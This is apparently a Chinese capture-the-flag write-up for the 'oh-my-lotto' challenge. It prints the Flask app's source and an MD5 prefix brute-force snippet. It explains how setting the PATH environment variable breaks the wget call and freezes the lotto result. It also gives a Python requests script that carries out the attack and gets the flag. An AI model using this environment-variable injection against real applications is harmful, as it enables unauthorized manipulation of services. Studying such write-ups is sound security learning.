当前位置:网站首页>oh-my-lotto
oh-my-lotto
2022-04-23 11:11:00 【succ3】
知识点:改变环境变量绕过wget
md5爆破
import hashlib
for i in range(1000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if a[0:6] == '0c5fbf':
print(i)
print(a)
关键是三个路由。
result路由,返回一个他给定的值,也就是我们要预测的值。
@app.route("/result", methods=['GET'])
def result():
if os.path.exists("/app/lotto_result.txt"):
lotto_result = open("/app/lotto_result.txt", 'rb').read().decode()
else:
lotto_result = ''
return render_template('result.html', message=lotto_result)
forecast路由,主要是用来上传文件。
@app.route("/forecast", methods=['GET', 'POST'])#上传文件的路由
def forecast():
message = ''
if request.method == 'GET':
return render_template('forecast.html')
elif request.method == 'POST':
if 'file' not in request.files:
message = 'Where is your forecast?'
file = request.files['file']
file.save('/app/guess/forecast.txt')
message = "OK, I get your forecast. Let's Lotto!"
return render_template('forecast.html', message=message)
lotto路由,这个是我们可以获得flag的地方,当我们预测的值和本次给定的值相同时就会返回flag。
@app.route("/lotto", methods=['GET', 'POST'])
def lotto():
message = ''
if request.method == 'GET':#如果传参是GET则转到lotto页面
return render_template('lotto.html')
elif request.method == 'POST':#如果传参是post则继续执行
flag = os.getenv('flag')#获取环境变量的值,若无则返会none,若存在则返回键值
lotto_key = request.form.get('lotto_key') or ''
lotto_value = request.form.get('lotto_value') or ''#获取表单值
try:
lotto_key = lotto_key.upper()#将小写字母转换为大写
except Exception as e:
print(e)
message = 'Lotto Error!'
return render_template('lotto.html', message=message)
if safe_check(lotto_key):
os.environ[lotto_key] = lotto_value
try:
#从内网lotto当中获得随机值
os.system('wget --content-disposition -N lotto')
if os.path.exists("/app/lotto_result.txt"):#判断文件是否存在
lotto_result = open("/app/lotto_result.txt", 'rb').read()#打开并读取
else:
lotto_result = 'result'#若文件不存在则直接赋result
if os.path.exists("/app/guess/forecast.txt"):#本地上传文件
forecast = open("/app/guess/forecast.txt", 'rb').read()
else:
forecast = 'forecast'
if forecast == lotto_result:#如果我们预测的内容和内网的lotto_result.txt内容相同则返回flag
return flag
else:
message = 'Sorry forecast failed, maybe lucky next time!'
return render_template('lotto.html', message=message)
except Exception as e:
message = 'Lotto Error!'
return render_template('lotto.html', message=message)
else:
message = 'NO NO NO, JUST LOTTO!'
return render_template('lotto.html', message=message)
步骤分三步:
1. 先访问lotto页面。
2. 再访问result页面,获得他给定的值。
3. 修改环境变量为PATH,再次访问lotto页面。
分析:
前两步是获取当前的值,但是下一次值就会改变,这样就无法拿到flag了,那我们怎么来控制使得值不变或者改变这个值呢?
第三步的作用就是可以控制内网的随机值。
原因:
可以看到我们可以控制环境变量名和值。
if safe_check(lotto_key):
os.environ[lotto_key] = lotto_value
try:
#从内网lotto当中获得随机值
os.system('wget --content-disposition -N lotto')
PATH变量就是用于保存可以搜索的目录路径,如果待运行的程序不在当前目录,操作系统便可以去依次搜索PATH变量变量中记录的目录,如果在这些目录中找到待运行的程序,操作系统便可以直接运行,前提是要有执行权限。
也就是说我们控制了环境变量PATH,这样他就找不到wget命令,那么wget --content-disposition -N lotto就会报错导致程序终止,/app/lotto_result.txt当中的内容就一直是第一次访问,随机生成的那个值了。
import requests
url = "http://127.0.0.1:8880/"
def lotto(key,value):
data = {
"lotto_key": key,
"lotto_value": value}
txt=requests.post(url + "lotto",data=data).text
print(txt)
def getResult():
txt=requests.get(url+"result").text
p=txt.split("<p>")[-1].split("</p>")[0]
print(p)
return p
lotto("","")
result= {
"file":getResult()}#获取预测值
requests.post(url + "forecast",files=result)#上传预测值
lotto("PATH","xxxx")
版权声明
本文为[succ3]所创,转载请带上原文链接,感谢
https://blog.csdn.net/shinygod/article/details/124354477
边栏推荐
- Learn go language 0x05: the exercise code of map in go language journey
- Cygwin 中的 rename 用法
- mysql插入datetime类型字段不加单引号插入不成功
- Database management software sqlpro for SQLite for Mac 2022.30
- VScode
- 比深度学习更值得信赖的模型ART
- Promise详解
- Learning website materials
- Learning go language 0x02: understanding slice
- Learning go language 0x01: start from the official website
猜你喜欢

初探 Lambda Powertools TypeScript

《Neo4j权威指南》简介,求伯君、周鸿袆、胡晓峰、周涛等大咖隆重推荐

PDMS软光刻加工过程

26. 删除有序数组中的重复项

SVN的使用:

Visual solutions to common problems (VIII) mathematical formulas

CUMCM 2021-B:乙醇偶合制备C4烯烃(2)

Solutions to common problems in visualization (VIII) solutions to problems in shared drawing area

Structure of C language (Advanced)

Database management software sqlpro for SQLite for Mac 2022.30
随机推荐
GO接口使用
Learn go language 0x03: understand the dependency between variables and initialization order
Gets the current time in character format
Visualized common drawing (II) line chart
Jupyter lab top ten high productivity plug-ins
JDBC – PreparedStatement – 如何设置 Null 值?
MBA-day6 逻辑学-假言推理练习题
期货开户哪个公司好?安全靠谱的期货公司谁能推荐几家?
得物技术网络优化-CDN资源请求优化实践
26. Delete duplicates in ordered array
Detailed explanation of how to smoothly go online after MySQL table splitting
VScode
Pytorch implementation of transformer
如何使用JDBC CallableStatement.wasNull()方法调用来查看最后一个OUT参数的值是否为 SQL NULL
Common parameters of ffmpeg command line
ffmpeg命令行常用参数
redis优化系列(二)Redis主从原理、主从常用配置
Excel·VBA数组冒泡排序函数
VIM usage
R-Drop:更强大的Dropout正则方法